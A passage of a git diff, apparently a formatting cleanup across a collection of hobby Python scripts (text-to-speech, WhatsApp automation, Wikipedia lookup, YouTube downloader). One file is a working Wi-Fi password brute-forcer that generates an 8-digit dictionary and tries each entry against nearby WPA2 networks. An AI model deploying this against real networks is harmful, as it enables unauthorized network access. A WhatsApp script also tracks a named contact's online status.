"Hello! This is a sample text to convert to speech." # Create a gTTS object -tts = gTTS(text=text, lang='en') +tts = gTTS(text=text, lang="en") # Save the audio file tts.save("output.mp3") diff --git a/vowel remover function.py b/vowel remover function.py index 5af2ff5f01e..8d6467b57dc 100644 --- a/vowel remover function.py +++ b/vowel remover function.py @@ -4,4 +4,6 @@ def vowel_remover(text): if l.lower() not in "aeiou": string += l return string + + print(vowel_remover("hello world!")) diff --git a/whatsapp-monitor.py b/whatsapp-monitor.py index d8bfbd3b8c7..bf170b80f01 100644 --- a/whatsapp-monitor.py +++ b/whatsapp-monitor.py @@ -1,11 +1,11 @@ #! /usr/bin/python3 """ -Author- Tony Stark +Author- Tony Stark download https://github.com/mozilla/geckodriver/releases -set path paste binary file /usr/local/bin +set path paste binary file /usr/local/bin install requirements: python -m pip install selenium @@ -19,7 +19,6 @@ name = input("Please Enter Name for search online status: ") while True: - try: chat = driver.find_element_by_xpath( "/html/body/div[1]/div/div/div[3]/div/header/div[2]/div/span/div[2]/div" diff --git a/whatsapp-schedule.py b/whatsapp-schedule.py index 15fe074e81b..a71c56ffb0d 100644 --- a/whatsapp-schedule.py +++ b/whatsapp-schedule.py @@ -1,11 +1,12 @@ """ -Author- Richmond Nyamekye +Author- Richmond Nyamekye download https://github.com/mozilla/geckodriver/releases install requirements: python -m pip install selenium """ + import pywhatkit diff --git a/wifi hack by brutefore.py b/wifi hack by brutefore.py index efcbe2c9347..bf346e1a7c7 100644 --- a/wifi hack by brutefore.py +++ b/wifi hack by brutefore.py @@ -20,43 +20,38 @@ The following provides a simple 8 purely digital dictionary generation program codes """ - - - import itertools as its # Problems encountered do not understand? Python learning exchange group: 821 460 695 meet your needs, data base files have been uploaded, you can download their own! -if __name__ == '__main__': +if __name__ == "__main__": words_num = "1234567890" words_letter = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz" r = its.product(words_num, repeat=8) - dic = open ( "password-8 digits .txt", "w") + dic = open("password-8 digits .txt", "w") for i in r: dic.write("".join(i)) dic.write("".join("\n")) dic.close() - - - - - - - # 2. brute force password when using longer - - + + +# 2. brute force password when using longer + + import pywifi - -from pywifi import const # quote some definitions - + +from pywifi import const # quote some definitions + import time -''' + +""" Problems encountered do not understand? Python learning exchange group: 821 460 695 meet your needs, data base files have been uploaded, you can download their own! -''' - +""" + + def getwifi(wifilist, wificount): - wifi = pywifi.PyWiFi () # crawled network interface cards - ifaces = wifi.interfaces () [0] # Get the card + wifi = pywifi.PyWiFi() # crawled network interface cards + ifaces = wifi.interfaces()[0] # Get the card ifaces.scan() time.sleep(8) bessis = ifaces.scan_results() @@ -64,7 +59,7 @@ def getwifi(wifilist, wificount): namelist = [] ssidlist = [] for data in bessis: - if data.ssid not in namelist: # remove duplicate names WIFI + if data.ssid not in namelist: # remove duplicate names WIFI namelist.append(data.ssid) allwifilist.append((data.ssid, data.signal)) sorted(allwifilist, key=lambda st: st[1], reverse=True) @@ -78,48 +73,48 @@ def getwifi(wifilist, wificount): ssidlist.append(item[0]) print(allwifilist) return ssidlist - - + + def getifaces(): - wifi = pywifi.PyWiFi () # crawled network interface cards - ifaces = wifi.interfaces () [0] # Get the card - ifaces.disconnect () # disconnect unlimited card connection + wifi = pywifi.PyWiFi() # crawled network interface cards + ifaces = wifi.interfaces()[0] # Get the card + ifaces.disconnect() # disconnect unlimited card connection return ifaces - - + + def testwifi(ifaces, ssidname, password): - profile = pywifi.Profile () # create a wifi connection file - profile.ssid = ssidname # define wifissid - profile.auth = open(const.AUTH_ALG_OPEN) # NIC - profile.akm.append (const.AKM_TYPE_WPA2PSK) # wifi encryption algorithm - #encrypting unit - profile.cipher = const.CIPHER_TYPE_CCMP # - profile.key = password # wifi password - ifaces.remove_all_network_profiles () # delete all other configuration files - tmp_profile = ifaces.add_network_profile (profile) # load the configuration file - ifaces.connect (tmp_profile) # wifi connection - #You can connect to the inner (5) # 5 seconds time.sleep + profile = pywifi.Profile() # create a wifi connection file + profile.ssid = ssidname # define wifissid + profile.auth = open(const.AUTH_ALG_OPEN) # NIC + profile.akm.append(const.AKM_TYPE_WPA2PSK) # wifi encryption algorithm + # encrypting unit + profile.cipher = const.CIPHER_TYPE_CCMP # + profile.key = password # wifi password + ifaces.remove_all_network_profiles() # delete all other configuration files + tmp_profile = ifaces.add_network_profile(profile) # load the configuration file + ifaces.connect(tmp_profile) # wifi connection + # You can connect to the inner (5) # 5 seconds time.sleep if ifaces.status() == const.IFACE_CONNECTED: return True else: return False - - + + def beginwork(wifinamelist): ifaces = getifaces() - path = r # password-8 digits .txt + path = r # password-8 digits .txt # Path = r "password- commonly used passwords .txt" - files = open(path, 'r') + files = open(path, "r") while True: try: password = files.readline() - password = password.strip('\n') + password = password.strip("\n") if not password: break for wifiname in wifinamelist: - print ( "are trying to:" + wifiname + "," + password) + print("are trying to:" + wifiname + "," + password) if testwifi(ifaces, wifiname, password): - print ( "Wifi account:" + wifiname + ", Wifi password:" + password) + print("Wifi account:" + wifiname + ", Wifi password:" + password) wifinamelist.remove(wifiname) break if not wifinamelist: @@ -127,16 +122,10 @@ def beginwork(wifinamelist): except: continue files.close() - - -if __name__ == '__main__': - wifinames_e = [ "", "Vrapile"] # exclude wifi name does not crack + + +if __name__ == "__main__": + wifinames_e = ["", "Vrapile"] # exclude wifi name does not crack wifinames = getwifi(wifinames_e, 5) print(wifinames) beginwork(wifinames) - - - - - - diff --git a/wiki/wiki.py b/wiki/wiki.py index 30d876eb89b..dd2de43df4b 100644 --- a/wiki/wiki.py +++ b/wiki/wiki.py @@ -3,11 +3,22 @@ import wikipedia import tkinter as tk -from tkinter import Label, Button, Entry, Text, messagebox, SOLID, GROOVE, StringVar, WORD, END -#import PIL as ImageTK - - -class main(): +from tkinter import ( + Label, + Button, + Entry, + Text, + messagebox, + SOLID, + GROOVE, + StringVar, + WORD, + END, +) +# import PIL as ImageTK + + +class main: def __init__(self, root): self.root = root @@ -15,13 +26,13 @@ def __init__(self, root): self.root.geometry("1920x1080") self.lbl1 = Label( - root, - text="WIKIPEDIA SUMMARY", - font=("Verdana", 25, "bold"), - width=50, - bg="yellow", - fg="red", - relief=SOLID, + root, + text="WIKIPEDIA SUMMARY", + font=("Verdana", 25, "bold"), + width=50, + bg="yellow", + fg="red", + relief=SOLID, ) self.lbl1.pack(padx=10, pady=15) @@ -46,7 +57,7 @@ def __init__(self, root): relief=GROOVE, bg="#4cd137", bd=3, - command=lambda:self.summary("None"), + command=lambda: self.summary("None"), ) self.searchbtn.pack() @@ -66,8 +77,8 @@ def summary(self, event): self.searchbtn["text"] = "Searching..." try: self.query = wikipedia.page(self.question.get(), auto_suggest=True) - self.quesbox.delete(0, 'end') - self.answer.delete('1.0', END) + self.quesbox.delete(0, "end") + self.answer.delete("1.0", END) self.answer.insert(END, (self.query.summary)) self.answer.pack() @@ -77,9 +88,9 @@ def summary(self, event): self.searchbtn["text"] = "Search" - # Wikipeida page returns to many pages + if __name__ == "__main__": root = tk.Tk() main(root) diff --git a/wiki_random.py b/wiki_random.py index 3782ea60137..24fbacb206d 100644 --- a/wiki_random.py +++ b/wiki_random.py @@ -14,6 +14,7 @@ enter index of article you would like to see, or 'r' for retry and 'n' for exit. """ + import requests import webbrowser diff --git a/wikipedia.py b/wikipedia.py index 18570cb1bcd..dd7a5f05321 100644 --- a/wikipedia.py +++ b/wikipedia.py @@ -6,6 +6,7 @@ win.title("WIKIPEDIA") win.geometry("200x70") # function + # function def search_wiki(): search = entry.get() diff --git a/youtubedownloader.py b/youtubedownloader.py index df448b93890..fdcbe89fed3 100644 --- a/youtubedownloader.py +++ b/youtubedownloader.py @@ -1,4 +1,3 @@ - from tkinter import Button, Entry, Label, Tk, filedialog, messagebox from threading import Thread from pytube import YouTube @@ -9,58 +8,49 @@ def threading(): t1 = Thread(target=download) t1.start() + def download(): try: url = YouTube(str(url_box.get())) video = url.streams.first() - filename = filedialog.asksaveasfilename(defaultextension=".mp4", filetypes=[("MP4 files", "*.mp4")]) + filename = filedialog.asksaveasfilename( + defaultextension=".mp4", filetypes=[("MP4 files", "*.mp4")] + ) if filename: # Check if a filename is selected video.download(filename=filename) - messagebox.showinfo('', 'Download completed!') + messagebox.showinfo("", "Download completed!") else: - messagebox.showwarning('', 'Download cancelled!') + messagebox.showwarning("", "Download cancelled!") except Exception: messagebox.showerror("Error", "An error occurred while downloading the video.") - root = Tk() -root.title('YouTube Downloader') -root.geometry('780x500+200+200') -root.configure(bg='olivedrab1') +root.title("YouTube Downloader") +root.geometry("780x500+200+200") +root.configure(bg="olivedrab1") root.resizable(False, False) # Label widgets introlable = Label( root, - text='YouTube Video Downloader', + text="YouTube Video Downloader", width=30, - relief='ridge', + relief="ridge", bd=4, - font=('chiller', 26, 'italic bold'), - fg='red') + font=("chiller", 26, "italic bold"), + fg="red", +) introlable.place(x=35, y=20) -Label( - root, - text='Enter YouTube Link', - font=('sans-serif', 16), - bg='olivedrab1' - ).place(x=40, y=150) +Label(root, text="Enter YouTube Link", font=("sans-serif", 16), bg="olivedrab1").place( + x=40, y=150 +) -url_box = Entry( - root, - font=('arial', 30), - width=30 - ) +url_box = Entry(root, font=("arial", 30), width=30) url_box.place(x=40, y=180) -btn = Button( - root, - text='DOWNLOAD', - font=('sans-serif', 25), - command=threading - ) +btn = Button(root, text="DOWNLOAD", font=("sans-serif", 25), command=threading) btn.place(x=270, y=240) root.mainloop()